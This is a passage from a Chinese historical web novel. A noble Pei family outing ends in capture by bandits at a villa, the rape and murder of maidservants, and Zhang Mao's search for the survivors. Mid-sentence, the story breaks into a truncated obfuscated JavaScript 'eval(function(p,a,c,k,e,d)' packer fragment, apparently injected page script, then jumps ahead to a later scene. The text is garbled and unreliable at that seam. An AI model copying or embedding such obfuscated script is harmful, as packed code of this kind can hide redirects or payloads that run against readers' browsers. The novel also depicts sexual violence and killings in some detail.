张茂皱眉:“其有招揽之意,阿耶以为如何?” “嗯?君子之交罢!”张轨抹着胡髭,一锤定音。 旬日时,刘渊果然携厚礼登门。 张轨虽携张寔、张茂二子隆重接待,但丝毫不理会他明里暗里的招揽之意,只当点头之交,结个善缘罢了。 刘渊无奈,他留京时间本就有限,又要交好世家,沟通权贵,能抽出时间借张茂之名登门拜访已是不易,谁能想那张轨宁愿赋闲,也不愿接受自己的招揽呢? 张轨虽难得,但远没有到非卿不可、需他三顾茅庐的地步。刘渊沟通无果,只好讪讪而归。 张茂忙着处理家事,那边厢,裴妍却在告别故友。 贾后对宗室不放心,能外放的绝不让留京城。 年后,裴妃到底没能抗住贾后的“逐客令”,只好携世子司马毗回封国。 裴妃与小郭氏相交一场,对裴妍更是视若亲女,长房一家自然要去相送。 东海国远在青州,自洛阳往东走,乘车马也得月余。东海王年前就被贾后打发就国了,但裴妃不想离开京城,便借口天寒向贾后陈情,道是等开春回暖了再去。如今天时已暖,贾后对她没有任何挽留的意思,裴妃再没了留京的理由,只好携儿子回封国。 洛阳东郭,柳拍长亭,草长莺飞。 裴妃依依不舍地把裴妍搂在怀里揉了又揉。她没有女儿,对裴妍是真有几分当女儿待的。 小郭氏拿帕子按按眼角,问她:“此一去,何日能归?” 裴妃又何尝舍得离开这锦绣成堆的洛阳城,去那海腥味漫天的东夷之地?只是君命难违,她一介宗室命妇,还能撇开丈夫独自留京不成? 她搂着裴妍,满眼不舍地看向长亭后的郭墙,叹道:“去留岂随吾意?终是看人眼色罢了。” 小郭氏不语,把诸王赶出京城的不是别人,正是她的表姊贾后。然而钜鹿郡公府一门,能在河东裴氏里脱颖而出,除了裴頠自身的人品才华外,贾后的看重提拔功不可没。她毕竟是钜鹿郡公府的人,虽与裴妃亲厚,却不好说贾后半分不是。 “阿母,勿误吉时。”一旁的司马毗适时劝道。 裴妃点头,舍不得的摸摸裴妍的脑袋,又拍拍一旁裴憬的肩膀,转头对小郭氏意味深长道:“阿郭,勿忘三年之约。” 小郭氏点头,笑道:“唯!敢不从命!” 裴妍疑惑地看向姑姑,又回头看看母亲,总觉得二人之间好似有什么秘密似的。大人们真奇怪呀。 “阿妍,”司马毗笑盈盈地牵着马走到裴妍身前。 他自小长在京城,对东海国反而没什么感情。此次离京就国,他内心和母亲一样,非常不舍。 然而他不愿意在母亲、还有裴妍面前表现出来,只得强作欢笑道:“据说东海国盛产水玉,阿妍若喜欢,我托人捎给你。” 水玉就是水晶,因其“莹如水,坚如玉”而得名,上回司马毗曾赠过她几颗。很少有女孩子能拒绝晶晶亮亮的东西,何况是水晶这样难得的好物! 裴妍喜道:“当真?妙哉!多谢阿毗哥!”言罢,她将手里的柳条仔细地插在他坐骑的当卢上,还贴心地摸了摸他的爱驹的脑袋。 其时朝霞漫天,郭外隐有晨雾未散,裴妍玉面粉腮,一身梅染石榴裙,在红霞的映衬下,更显娇俏,有如一朵即将绽放的睡莲,带着美而不自知的稚嫩。 司马毗看得一时有些怔愣。直到他手边的马儿发出一声浅浅的嘶鸣,才将他拉回了神。他有些赧然地对着裴妍笑了笑,翻身上马,依依不舍地绕着她转了一圈,与她作别。 裴妍忍住泪意,站在马下与他挥手。 朝霞自稀疏的云层里倾泻而下,橙红的霞光打在裴妍粉雕玉琢的脸上,一双亮晶晶的眸子里满含不舍。 司马毗是她为数不多的朋友,如今却要去那么远的地方,叫她如何不伤心? 司马毗心里亦不舍。他母亲只有他一个儿子,几个庶出的兄弟姊妹与他并不亲厚,从小与他相伴玩耍的,在外是琅琊王司马睿,在内便是裴妍。 司马睿年前就番去了,如今他自己也要去东海国。儿时的玩伴一朝四散漂零,不知何时才能再聚。 裴妃已经上了安车,这是要出发了。 司马毗深深看了裴妍一眼,沉声道:“阿妍,保重!” 继而一扬马鞭,去了安车旁边,随着队伍前行。 裴妍又往前送了两步,直到滚滚烟尘消散,东海王府的车队渐渐消失在郊外的旷野。 裴妃此行还带了许多家当上路。毕竟东海国远,虽有渔盐之利,毕竟不若京畿应有尽有。 一路上,诸侯仪仗开道,部曲持刀拍马,盗匪瑟缩,流民避让,好不威风。 彼时岁月静好,虽洛阳东海相隔千里,诸人也只觉路途远了些。谁也没觉得京洛一别,有什么特别之处。谁能想波谲云诡,世事无常,此中人物,今番一别,再见面时,已是另一番光景? 就在此后不久,一场意外的郊游,竟差点让钜鹿郡公府长房湮灭! 16. 祸福无常随天意,死生难料入匪窝 春日里交游饮宴众多,裴憬跟着小郭氏好几次出入贾府和宫里,都未能见到韩芷。 张茂这几日不在家里,裴憬不好意思跟妹妹讲这些心事,思春无果的他无人可诉衷肠,便整日恹恹的闷在房里,连老师那里的课都借口生病不去了。 小郭氏懒得管他,只要他不作妖不闹人就行。裴妍却很着急,便想找机会拉着他出去散心。正巧寒食将至,裴妍便向母亲提议去东郊的清镜观进香。 小郭氏自从裴妃走后正嫌烦闷,也欣然道好。 路上,他们的车队不巧遇到一队颈戴枷锁的流人,其中有男有女,有老有少,估摸着有百余人,显然是阖家流放的。 看到钜鹿郡公府的安车,卒伍们赶紧持鞭把犯人们驱至道边等候。 流人们吃力地蹲下身子,把长长的木枷置于身前地上,抓紧时间小憩片刻。 流放的犯人甭管曾经如何高贵,如今无不衣衫褴褛,蓬头垢面。 有犯妇认出钜鹿郡公府的标识来,遥想当年,她也曾与河东裴氏平辈交游,与钜鹿郡公府的郭、王两位夫人也是极为相熟的,一时激动难掩,突兀地直起身子,朝小郭氏的香车扯着嗓子喊道:“车内可是钜鹿郡公府家人?妾乃庞芙,贵人可记得?” 卒伍见道边犯妇突然跳起,本想上前挥鞭压制,但看那犯妇直直盯着贵人车马,言辞凿凿似乎彼此认识。联想这队犯人曾经的身份,一时犹豫起来,皇帝还有几门穷亲戚呢,何况盘根错节的士族?举起鞭子的手停在半空,再不敢挥下去。 拱卫小郭氏的部曲也停了下来,都在等小郭氏示下。 小郭氏隔着纱帘,依稀认出,那是杨骏的夫人高都君庞氏的内侄女,当初经常与家里来往的。 印象中,小庞氏是个气质娟柔的美人,哪怕生儿育女后,亦难掩高华的气度,与如今蓬头垢面的犯妇判若两人。 小郭氏一时眼眶微湿,前两年还一起品茶的故人,如今已沦为阶下囚。 “阿母,是庞夫人!”裴妍记得这位夫人煮的一手好茶。 然而,小郭氏却突然抬手打断女儿,她擦了擦眼角,撩起帘子对车外部曲冷声道:“走吧,停下做甚!” 裴妍还想说什么,却被一旁的乳媪柳氏拦下。 柳氏抱着她,意味深长地道:“元娘怕是记岔了,这等犯妇,何时来过我家?” 不是庞夫人?裴妍糊涂了。她毕竟年龄还小,庞氏的变化又太大,她将方才的那个女囚与印象中的庞夫人对比了一番,好似真不是一个人。 她想再问问母亲,却见小郭氏头倚在窗边,秀眉轻蹙,眼睛虚闭着,好似正忍受着某种痛苦。 裴妍惊问:“阿母可是不舒服?” 小郭氏摇摇头,借口道:“今日起得早,有些乏。元娘莫多言,让阿母歇会。” 裴妍只好闭嘴。 车轮重又翻滚,扬起漫天风尘,那个直着身子的妇人被凶恶的卒伍推倒在地,车外很快便传来卒伍的咒骂声和妇人哀哀的告饶声。 乱做一团的队伍里,有一佝偻老者,他不顾刀鞭加身,向着裴家车队的方向痛哭嚎啕: “天翻地覆兮金玉碎, 物是人非兮芝兰枯。 烈火烹油兮有时灭, 祸福难料兮家门覆! 百年煊赫兮一朝屠, 当初同游兮成陌路! 而今袖手兮善缘尽, 他日倾覆兮谁葬汝!” 谁葬汝?呜呜呜呜! 老叟的哀吟,如魔咒,如梦魇,紧紧缠绕在小郭氏心上。她捏紧心口的绸衣,只觉惶惶不安,却全无办法。她不是不想救人,只是她人微言轻,贾后的刀锋她逆不得。 柳氏见状,赶紧将安车的隔窗拉紧。 小郭氏一面受着良心的煎熬,一面紧紧捂住裴妍的耳朵,不让孩子听到那令人惶惑的丧家之音。 车里人故作未闻,车外骑马的裴憬却听全了。不过他记性不好,记不住歌词,也理解不了这人在唱什么,只好命身后的小厮长河,叫他牢牢记住,回去好请张茂答疑解惑。 怪哉,裴憬心想,我家怎会认识流犯呢? 他全然不知,这些低贱如蝼蚁的犯人,曾几何时,也和他一样,是出入玉宇华堂的贵人呢! 而这一声声的诅咒控诉,犹如谶语一般,笼罩在钜鹿郡公府顶,并不在不远的将来成为了现实。 小郭氏正皱着眉头闭目养神,裴妍不敢多言。 车队在沉默中东行一刻钟,就到了清镜观。 东郊的清镜观是今上七妹襄城公主司马修袆的私观。 襄城公主受先帝钟爱,出嫁时遣送十倍诸主,陪嫁侍婢百人,另有不少观庙别庄。 清镜观作为公主的陪嫁之一,囊东郊风物之美,集当下奢华之盛。即便出身琅琊王氏的驸马都尉王敦,在这位喜好奢侈的公主面前,也甘拜下风。 公主交游广阔,虽凤驾不常来东郊,不过她的私观常年借给相熟的亲友赏玩。 襄城公主的驸马王敦与裴家有姻亲,因而部曲递上拜帖后,门房立刻笑脸相迎,只是有些为难地禀道:“尚书右仆射羊大人与内眷亦在此中赏景。” 没想到已经有人先一步在观里了。 小郭氏皱眉,泰山羊氏与河东裴氏并无姻亲,且因琅琊王氏的关系(泰山羊氏与琅琊王氏素来交恶),钜鹿郡公府与他家一直没有来往。这样说来,两家见面还是有些尴尬的。 既然人家已经先来了,她们还是不要去打扰的好。 裴妍有些失望,今天日暖风和,她好不容易把阿母和裴憬拉出来散心,不想这么早就打道回府。 她突然想起个地方,眼珠一转,对小郭氏道:“阿母,听阿妡说,她阿公在清净观附近有一别庄,风景亦好,我们去那别庄看看?” 小郭氏有些犹豫,王戎的别庄是王家人避暑用的私人庄子,不外借的。 可是裴妍眨巴着眼睛,可怜巴巴道:“阿娘,车上的水都喝完了,儿渴得紧。” 小郭氏略一思索,两家是姻亲,去王氏的别庄讨杯水喝倒也无妨,便命部曲探路,往王戎的别庄而去。 两者距离不远,小郭氏一行不过半刻就到了。只 是不知为何,部曲叩门良久,都无人应门。探门的部曲双眉紧皱,他本能地意识到不对劲。 正待回禀夫人,就听“吱呀”一声,木制的庄门终于打开来。 里面走出个佝着腰的老汉,看到小郭氏一行,明显愣怔片刻,继而连不迭地请罪,道自己年纪大了,午间偷喝了浑酒,没听到拍门声。 众人听了直翻白眼,到底是天高皇帝远,这别庄看来王家人并不常来,否则何以下人敢如此散漫! 小郭氏的侍婢剑兰压着火气把拜帖递给了老汉。 老汉只是门房,不识字,赶紧告罪,让众人稍待,自己则捧着拜帖回去问管事。 不多时,别庄的管事风风火火地迎了出来,竟是一个身量颇高的壮硕胡人,自称姓吉,恭敬地将小郭氏一行迎进了门。 裴憬的小厮长河看到这个胡人管事,眼睛微眯,他总觉得这人有点面善。不过怎么可能呢?这可是他们第一次来王家的东郊别庄啊!他摇头,许是记岔了? 还好,别庄的下人虽不靠谱,庄子里收拾得还算清爽。 吉管事殷勤地将客人迎进花厅奉茶,又命底下人收拾客房,裴府的部曲仆从也被安排进了耳房。 半日奔波,不仅裴家兄妹饥渴难耐,底下的部曲也都乏了。 小郭氏命大家在庄子里休憩一个时辰再回城。 不久,庄子里的奴仆送来不少浆饮蔬果,多是新摘的樱桃、桑果一类,酸甜可口,很是开胃。 柳媪却眉头紧皱,她们已经进了内室,来送东西的怎么全是男仆?庄子里的婆娘都躲懒去了?还好她们自家带的奴婢够多,倒也不用支使王家的。 吉管事为人大方,给下面的部曲仆从也送了几坛井里泡过的蜜浆。 平时这些冰饮都是供奉贵人的,下人们鲜少能尝到,不一会,几坛蜜浆就被分食一空。 小郭氏也吃用了些。裴憬和裴妍却没怎么动。 裴憬是还没从韩芷的打击中走出来,食不知味;裴妍则是嫌弃蜜浆齁甜,桑果又太酸,只吃了自家带来的蜜饯。 吃饱喝足后,小郭氏有些恹恹的,她身体一直不怎么好,前不久又送别了好友裴妃,今日还遇到了落难的庞芙一家,心情很是失落。 时值正午,众人都有些乏了,正好客房也收拾了出来,小郭氏便和裴家兄妹去客房小憩。 不一会,小郭氏就真的睡熟了,连侍奉她的柳氏、剑兰等人也跟着打瞌睡。 可是厢房里的裴妍却翻来覆去睡不着。她身边侍奉的风荷雨荷却都睡了过去。 她无奈地支着头,看着两个婢子打盹的小脸,百无聊赖地想,自己是出来游玩的,放着大好春光不看,躺这困觉有甚意思? 便悄悄起身,试探着去扣另一头裴憬的房门,还好裴憬同样睡不着,反倒是侍奉他的长河等人都睡熟了。 兄妹二人于是相约出去走走。 王家的别庄占地同样不小。光是他们这个院子就有不少厢房耳房,中间假山池沼,锦鲤闲游,岸边碧树红花,春草萋萋,一派春意盎然。 许是上半晌累着了,分布在耳房里的部曲静悄悄的,连站岗值哨的几个家丁都坐在台阶上靠着小院的木门阖眼小憩。 院子门口本还有一队王家部曲,不过柳氏嫌庄子上的人粗鄙,只许他们在院外绕墙巡视,不得接近院门。 裴憬和裴妍相视一笑,跨过睡得东倒西歪的家丁,等外围巡视的王家部曲走过去后,迅速地蹿出了门。 院子外面是一片茂密的箭竹林,竹子有年头了,长得遮天蔽日,林间碎石铺路,午间的燥郁被挡得严严实实,走入其中,只觉凉意袭人。 裴妍忍不住打了一个喷嚏。 裴憬体贴道:“阿妹稍待,我去给你拿件披风。”这就是没带仆从的坏处了,拿件衣服都得自己回去。 裴妍没跟他客气:“有劳阿兄,别忘了动作轻些,莫把柳媪她们惊醒了。” 裴憬走后,裴妍因着怕着凉,没敢进竹林,只沿着墙根闲逛。走到后门处,她远远看到旁边有一凉亭,建在高树花草间,里面隐隐传来人声,还有一些不寻常的动静。 裴妍心道:“正好,我去问个路罢!”便加快步子往那亭子走。待得稍近些,却发现不对劲来。 裴妍年岁尚小,身量不高,亭子周边绿植茂盛,是以亭子里的人并未注意到她。 她却透过枝丫的缝隙,见到里面有十来个衣衫不整的壮汉,正将三个年轻女子压在身下,肆意揉搓。 其中一个女子头垂在石桌外,脸倒对着裴妍,只见她清秀的面容上泪痕斑斑,眼里决绝凄清。 裴妍立时认出——这不是阿母身边的婢子木槿? 她何曾见过这等场面?大惊之下,眼睛一闭,就要尖叫。 只是还来不及出声,一只粗粝的大手将她的口鼻牢牢罩住,她只觉天旋地转,身后撞上一个结实的胸膛…… 张茂从家中回来,正碰上裴府鸡飞狗跳,不断有部曲仆从自小门进出。 裴頠的心腹裴参一脸肃穆,正站在门口指挥调度。 张茂隐隐觉得府里出了事,赶紧上前询问。裴参简明扼要地说明了情况,原来长房一家去清镜观,却不知为何被乞活残部所掳。 家主裴頠正调集部曲仆从,前去救援。 张茂大惊,他离家也就这几日,怎么出了这么大的事? 恰此时裴頠自大门匆匆出来,后面跟着二郎裴崇和一身戎装的驸马王敦。 看到张茂后,裴頠对他点了点头,道:“吾与王将军去东郊,你协助三郎,看好门户。” 长房被掳,张茂哪里能安心留在家里?他朝裴頠抱拳,斩钉截铁道:“茂请同往!” 裴頠略一思索,张茂虽年幼,但年少入伍,有他同行,也算添一助力,便让他跟着二郎裴崇,也算给儿子多个护卫。 一路上,裴崇把打听到的消息跟张茂说了。这支乞活首领是一个叫汲田的胡人,不知何时流窜到京郊,偷偷强占了他外公王戎的别院,长房一行大概回程时去他外公的别院歇脚,误打误撞入了贼窝。 这可真是,飞来横祸! 张茂瞥了眼领头的王敦,小声问道:“何以王驸马会同行?” 裴崇道:“正是驸马送来的消息。东郊的清净观是襄城公主的产业,离我阿公的别院不远。长房被截的事,是清净观的道长派人送出来的。只是观里人手少,且大多不会武,道长只好一面派人潜伏在别庄外监视着,一面派人给驸马报信。驸马得信后,立刻告知了我们。” 驸马王敦是太子舍人、给事黄门侍郎,天子近臣,他一接到消息,就给宫里的贾后、族兄王戎还有姻亲裴頠传了信。 只是宫里调度虎贲、羽林郎及北军需要时间,及至裴頠把裴家及赶来增援的王家部曲都调度好出发了,宫里还在为谁负责剿匪争吵不休。 张茂疑惑道:“清净观的人何以晓得贼人在王家别院?” 裴崇只知一个大概:“据报信的小道说,裴家有人偷偷逃了出来,到清净观搬救兵。” 如此看来,消息属实。 张茂悬着的心反而收得更紧,有人逃出来?那伙贼人会不会发现?胡人狡黠,道观的那帮道士盯得这么紧,万一被发现,那帮胡人会否恼羞成怒,伤害人质?不知裴憬和裴妍如今怎样了?难得的,张茂突觉心慌。 这支由部曲和仆从组成的散兵游勇并非全是骑兵,因而队伍行进速度在用惯了凉州大马的张茂看来未免太慢。 他拍马到裴頠身边,抱拳道:“茂请为斥候。” 王敦其时已经派了一队王家部曲做前锋先行,但张茂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个汲田狡诈得很,东边干一票,西边来一单,从来流窜做案。自年后开衙以来,官府几番出兵剿匪,都被他逃脱。 阿訇道汲田本是预备过两天就离开京城,去青州投奔他的一个亲戚,结果却被她们一家误打误撞找上门来。 裴妍悔得肠子都青了,揪着头发自责:“都怨我,是我非要阿母和阿兄来这里散心的!” 阿訇劝她:“也不能怪你,谁能想到汲田居然胆肥到连琅琊王氏的庄子都敢碰呢?” 嘴上这么说,实则他对汲田的胆量还是挺钦佩的,所谓最危险的地方就是最安全的地方,王氏的这个别庄主家不常来,汲田占了后不仅可以神不知鬼不觉地安置手下,还能明目张胆地避免被朝廷的官兵追捕,可谓一箭双雕。 阿訇从脏污不堪的袍子里掏摸出两张胡饼、一小坛米酒出来,递了一张饼子给裴妍,道:“庄子里都是死人,臭的很。我找遍了厨房只在灶台下搜到这个。咱们先在这里躲躲,等风声过了了再上去。” 这胡饼在阿訇看来,做的真讲究——白面做底,内裹肉馅,其上还撒了小葱,阿訇狠狠地咽了口水,光是闻味道就香啊! 他寻了个舒坦的姿势,一口饼子一口酒的狼吞虎咽起来。 裴妍却捧着胡饼了无胃口。她在这脏污的腌臜地躲了半晌,为了逃出来,她和阿訇爬了狗洞,蹲过茅厕,身上、脸上、手上都是脏污。一向爱洁的她却无暇清理自己。 如今的裴妍,好似没有生气的木偶,她脑中不断闪现出白天躲在溷番里看到的一幕——风荷、雨荷,还有那些往日里她熟悉的婢女,被一队男人赶进了不远的柴房,紧接着,里面传来撕心裂肺的哭喊求饶,再然后,男人们出来了,里面的女子却再没了动静。 阿訇捂住她的眼睛,不许她再看下去,可是那道单薄的小门,如何能掩住漫天的血腥气? 裴妍再蠢,也猜到结果——那些曾经鲜活的女子,死了! 风荷和雨荷是她的贴身婢子,比她大四岁,自她有记忆起,她们就像姐姐一样照料她的起居。风荷直爽,雨荷勤快,还有娇俏的青莲,温柔的白莲…… 这些一直陪着她的伙伴,被这伙贼人,杀死了!都是因为她!是她引着大家来这贼窝的! 裴妍陷入深深的自责中,如果不是她坚持要来这里,大家就不会碰上这帮悍匪,更不会因此丧命!该死的人,是她啊! 阿訇见后院没人,赶紧趁隙将陷入呆怔的裴妍从溷藩里拉出,藏进不远的地窖里。 途中,偶遇两个经过的同伙。阿?手起刀落,砍瓜切菜似的,将对方砍成两半,鲜血喷了裴妍一身。 裴妍只觉脸上一热,她拿手摸了摸,见指头一片猩红,瞬间晕了过去。 再醒来时,她已经在这方地窖里。地窖光线阴暗,她只能隐约看见阿?的轮廓,周遭死一般静寂,经历丧乱的裴妍只觉身心俱疲。 阿訇把一整块饼塞进了嘴里,终于把那阵眩晕的饥饿感扛了过去,这才有心回头看裴妍,却发现她仰躺在地上,胡饼扔在一边。 阿訇生气道:“你怎么把饼扔地上?你不吃给我啊!” 裴妍摇头,有气无力道:“我不饿,你吃吧!” 阿訇没有客气,爬过去抓过地上的胡饼继续啃起来,只是这次他细嚼慢咽了许多,也有心思与裴妍聊天了。 “你们这些贵人啊,真是没挨过饿。这么好吃的饼子,我在老家时,即便元日也吃不上啊!” 裴妍略略转头看了眼对面那个模糊的人影,问他:“你之前不是去了奴籍,回乡侍奉父母了吗?怎么会跟他们混在一处?” 阿訇又喝了一大口米酒,闷声道:“说来话长。” 原来月前他启程回乡,才出了京畿,就又被官兵抓住。那伙兵痞硬说他是私逃的官奴,任他如何解释,甚至拿出户头和路引都没用。这分明是要再一次逼良为贱啊!他一怒之下,杀了其中一个官兵逃了。 逃跑的路上,恰碰到打着乞活名义流窜的匪军,他饿得要死,为了活命,只好加入这帮人。 “不过我跟他们不一样,他们烧杀抢掠,无恶不作。我加入他们至今,只在灶房里头烧饭打杂,没有干过一件伤天害理的事。”阿?为自己开脱道。 如果张茂在这里,定会对这个家伙的说辞嗤之以鼻——就他刚才那手起刀落、杀人不眨眼的狠厉劲儿,说自己只是个打杂的,谁信? 然而这里只有裴妍。她点头,感激道:“从你救我那时起,我就知道你和他们不一样,你是好人!” 被夸“好人”的阿訇脸不红心不跳,继续忽悠道:“所以,如果待会有人来救你,你可得为我说情,不能让我这个好人被当做反贼给抓喽!” 裴妍木然地点头道:“自然!” 想起柴房里那些被残忍屠戮的女子,裴妍只觉心神俱裂。 她不敢想,如果没有阿?救她,带她钻狗洞,藏溷番,躲地窖,她如今会否也和那些女子一样,成了柴房里一具冰冷的尸骨? “说话算话啊!”阿訇道。 17. 第十七章 张茂到达东郊别院时,只见别院的门洞大开。院外不少横七竖八的尸首,有部曲有道士,还有一些虽着家丁服饰,但手握刀剑的人,张茂猜测或许是乔庄的匪徒。 他小心翼翼迈进门去,一路环顾逡巡,发现偌大的别院早已人去楼空。院内也倒着许多尸首,曾经雅致的院子如今满是狼藉,浓重的血腥气让张茂俨然回到了昔日的战场。 更让人不齿的是,当他路过后院的柴房,竟看到浓稠的血水顺着柴门流淌出来,将湿软的地面染成黑紫。 张茂打开门,发现里面竟满是死去的女子。她们大多衣不蔽体,有不少呈双腿大开状,显然死前受过侵犯。 他按下心惊,简略地查看了一番这些女子的伤口,发现她们或被刀砍,或被斧斫,或被剑刺,死状凄惨,不一而足。哪怕在沙场见惯生死的他亦觉不忍。 张茂翻找一气,并未发现小郭夫人并裴妍,也未发现裴憬等人,这才略略定下心神——怕是那伙贼人有所察觉,趁着官兵未到,杀了院外埋伏,裹挟人质逃走了。 至于这些女子,他目露同情,这里面有许多还是熟面孔。有几个,他甚至可以唤出名字来——她们都是大房随侍的婢女,既无人质价值,又成匪徒拖累,因而被穷凶极恶的贼人灭了口。 张茂沉默地走出柴房,将门带上。 时间紧迫,他如今没空安葬这些死去的人,一如当初战场上,他无暇掩埋那些战死的同袍。只能先关上柴门,待后来人处理。 他正预备出去,却发现自己所在的后院有不寻常的踪迹——就在离柴房不远的灶房,有一串尚未干涸的带着血迹的脚印,一路延伸至菜园附近的一块石板旁。而那石板两边的青苔明显有新挪动的划痕! 有人! 军人的直觉使他立刻警醒起来。 他提剑在手,脚尖点地,小心行至石板处。 在地窖里的阿?也紧张到了嗓子眼。他耳力过人,张茂甫一进后院,他就察觉到了动静,赶紧回头对裴妍做了一个噤声的姿势,又从手里拿出一把锋利的匕首,静静地等在石板之下。 “砰!” 石板被张茂一脚蹬开,阿訇顺势跃出,月黑风高并未阻挡他匕首的攻势,二人都是身手矫捷之人,你来我往的好一阵过招。 张茂自幼习武,有名师指点,又在战场历练过几年,不是阿訇这样空有蛮力的匹夫能比,几个回合后,阿訇就被卸了匕首,人也被过肩摔在地,手腕扭曲,紧紧贴住后背。 阿訇止不住痛呼出声。 张茂打量他的打扮,并非裴家下人装束,疑心是那伙贼人留在这的探子,将他的手拧得更紧,厉声讯问:“说,贼人去了哪里?” 阿訇见他衣着考究,知他必是来救人的,怕他误会杀了自己,赶紧朝地窖里的裴妍喊话:“裴家贵女,快上来呀!我救了你,你家郎君却要杀我呢!” 裴妍听到这话,这才扶着墙起身,抖抖索索地来到出口处,依稀看到一个熟悉的人影,正待分辨,头顶便传来张茂因激动而发颤的声音:“元娘,你在这里!” 裴妍听到声音,立时悲喜交加,眼泪如断线的珠子,抑制不住地往下掉,几度张口,却哽咽得发不出声来。 张茂立时顾不上石勒,跪到地窖边,伸手将她拉了上来。 裴妍爬出来的方向正对着那扇柴门,就听她“啊”地一声,手指颤颤,直指柴房,张了张嘴,隐约喊出一个“死”字,眼泪便不可控地流了一脸,有几滴泪珠落在张茂掌心。 张茂立即将裴妍的头牢牢揽在怀里,不让她看,不让她听,可是那股挥之不去的血腥气,还是穿过张茂的青衫,一丝丝地钻到了裴妍的鼻子里。 她牢牢地抱住他,两只手死死地拽紧他的后背,好似要把自己整个融入他的怀抱里,仿似只有这样,才是最安全的。 阿訇站在一边尴尬地摸摸鼻子,刚才这小女郎还最依赖自己的说!如今转头,就抱了别人! 时间有限,张茂将裴妍安置在后院一处还算清爽的厢房里。 裴妍将自己如何出的院子,如何发现蹊跷,又如何被阿訇所救的事言简意赅的说了。 想到在房里睡觉的阿母,还有为她折返回去拿披风的阿兄,裴妍一把抓住张茂的手,恳求道:“阿茂,要快!我阿母阿兄在他们手上,你一定要救出他们!” 张茂点头,他也很担心裴憬。 一路上,他特意寻驸马王敦的部曲打听了些消息。这帮流民推举了一个流民帅,叫汲田,说来与自家还有几分渊源,他落草前竟曾是大嫂娘家凉州贾氏的护院。因犯错被逐出家门,后落草为寇。没想到此人颇有几分本事,带着路上招揽的流民,竟组织起一支神出鬼没的队伍来,专干拦路打劫的勾当。许是一路顺风顺水,这家伙胆子竟越来越肥,劫掠商旅还不够,竟招惹到士族头上来!真是自取灭亡! 只是,洛阳四面环山傍水,这帮匪徒自年后起事至今,就东一榔头西一棒子的做案,朝廷至今未能找到他们的老巢。 张茂看了眼候在门边的阿訇,沉声问:“你既跟了这帮匪徒月余,可知他们的据点?” 阿訇知无不言道:“奴自金斗山下为匪徒裹挟,随他们在山脚住不过几日,又随匪首登过熊耳,眼见盗匪做过几桩恶事,紧接着就被带来了别院。不过奴观自己在金斗、熊耳所住,只是临时停靠罢了,或只是途经也未可知。” 张茂皱眉,洛阳城西的金斗山,只是一个不大的小山包,一眼可以望到顶,确实不是屯兵的好去处,何况离金斗山不远的崤山上有朝廷驻军,汲田没这么蠢。至于熊耳山,离洛阳更有段距离,如今汲田带着人质逃窜,更没有本事走远路。除非…… 阿訇见张茂犹疑,状似不确定地道:“奴自被匪军劫持以来,一直在厨下打杂。偶有一次为这匪首送酒,隐约听他与手下说起小苍山。” 张茂看了他一眼,阿訇说的正应了他的猜想。小苍山是玉泉支脉,在洛阳东南、伊川交界处,树大林密,山高水深,不适合大部驻扎,却适合小股武装隐蔽。其实在来的路上,张茂便疑心匪徒逃窜去了此处——汲田人手本就不多,又带着人质,不可能跑太远,自东郊往南不过几十里的小苍山确是个好去处! 恰此时,王家与裴家的部曲终于赶到了。 裴妍看到匆匆进门的叔父裴頠、堂兄裴崇只觉一下子找到了主心骨,扑上去哀哭着,连连求他们赶紧去救母亲和阿兄。 裴頠略略安抚裴妍,就将她交给郭老夫人派来的心腹秦媪,让她护送女郎先行回府,随即掩门与王敦密议剿匪事宜。 张茂把阿訇也带了去。 阿訇跪着把自己知道的又说了一遍。 裴頠和王敦一番商议后,也把目标锁定在了小苍山。 王敦颇擅兵道,诸多布置与旁听的张茂不谋而合。 王敦定好作战方案后,带着张茂、阿訇先行,裴頠父子则在此处迎候朝廷援兵——朝廷的兵马也快到了,考虑到裴家的体面,这次带兵的是后军将军贾谧,郭彰为副——都是钜鹿郡公府的姻亲。 …… 钜鹿郡公府,裴妍自榻上陡然惊醒。她满身是汗的喘着粗气,梦中亭子里的奸虐、后院柴房的杀戮好似还在眼前,只是那被杀的不是别人,换成了她自己。 她一把掀开锦被,踉跄着就要出去。 秦媪本在榻边打盹,见她魔怔了一样,光着脚就要往外冲,赶紧上前抱住她,温言安抚:“元娘可是魇着了,来,阿媪惯惯。” 裴妍不过十岁,却不知哪来的大力气,把壮硕的秦媪推到了一边,她疯了似的跑出门外。 其时雷声隐隐,狂风大作,槅门外的桂树枝丫胡乱晃荡。 秦媪几度拦她不住,只好一面唤来其他女婢阻挡,一面遣人报告二夫人王氏。 这些婢女都是生面孔,大房的贴身婢女几乎都跟着小郭氏出去了,至今没有回来。如今的这些,要么是二房的,要么是老夫人处的。婢女们不知裴妍脾性,又不敢下死力硬拦,只好挤在一起,组成长长的紧密的人墙挡着她。 裴妍推也推不动,挤又挤不过去,情急之下,她拽起一个婢女的手,狠狠咬了上去! 那婢子痛得眼泪直流,却不敢发出丁点声音。 终于,裴妍尝到了一股辛辣的血腥味,刺鼻的味道让她赫然又回到了白天的修罗场。 她松开嘴,骇怕地瘫坐在地,惊恐地拿手不停地抹着嘴边的血。 此时熬了一宿的雷雨终于落下,豆大的雨珠倾泻而出。 婢女们顾不得自己,赶紧围上来拿袖子和手给裴妍遮挡,只是这瓢泼大雨,岂是衣衫能阻? 不一会,裴妍的头上、身上也跟着湿透了。 她像被抽了魂的木偶,呆呆地坐在地上,眼睛大睁,呆愣的看着沉黑的天际。 不多久,二门大开,二房的王夫人搀扶着老夫人郭氏匆匆赶来。 老夫人心疼地把裴妍揉进怀里,裴妍闻到祖母身上熟悉的忍冬香气,与母亲的如出一辙,心下一松,不再挣扎。 老夫人和王夫人小心翼翼地把她扶进房里。 王夫人赶紧命下人煮姜汤,打热水,婢女们仿似有了主心骨,方才的混乱变得有条不紊。 裴妍依偎在郭老夫人怀里,一言不发。 老夫人知她受惊过度,不是三言两语可以化解,便屏退诸人,自己默默地搂着孙女,轻拍她瘦弱的后背。 秦媪不敢瞌睡,勤勤恳恳地跪坐榻边,为一老一小守夜。 裴妍喝过姜汤后,体力不支,昏睡过去。 郭老夫人却一点也睡不着,大儿媳和大孙子被掳至今,仍未有消息。她在外人面前强作镇定,实则内心万分焦虑。 辗转反侧半晌,终于,门口有了动静。 秦媪出去一趟,急匆匆地回来禀报说:“归家了!大夫人并大郎回来了!” 郭老夫人顾不得套履,穿着足衣就往外走。 秦媪赶紧捡起地上的木屐跟上。 